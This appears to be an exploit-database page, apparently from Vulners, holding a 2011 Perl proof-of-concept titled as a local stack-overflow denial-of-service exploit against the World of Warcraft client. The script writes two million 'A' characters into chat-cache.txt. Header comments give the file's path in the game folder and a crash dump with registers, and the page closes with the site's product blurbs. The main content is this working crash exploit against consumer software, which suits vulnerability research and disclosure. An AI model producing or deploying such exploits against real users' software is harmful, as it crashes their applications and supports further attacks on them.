`#!/usr/bin/perl
#
#Exploit Title:
#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)
#
#Date: 04/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#
#Other details:"Code Exec" Exploit in analysis.
#
#Tests:
#OS: Windows 7
#Versions: burning crusade,cataclism, Demo Version.
#
#Path:
#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt
#
#Error:
#This application has encountered a critical error:
#
#ERROR #132 (0x85100084) Fatal exception!
#
#Program: D:\World of Warcraft\Wow.exe
#ProcessID: 92024
#Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97
#
#Registers:
#----------------------------------------
# x86 Registers
#----------------------------------------
#
#EAX=000F2000 EBX=1BD920D8 ECX=000CC22C EDX=00000000 ESI=0012366F
#EDI=00000000 EBP=001EFC5C ESP=001EF8A4 EIP=0109DA97 FLG=00010206
#CS =0023 DS =002B ES =002B SS =002B FS =0053 GS =002B
my $file = "chat-cache.txt";
my $dos_junk = "A" x 2000000;
open($File, ">$file");
print $File $dos_junk;
close($File);
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation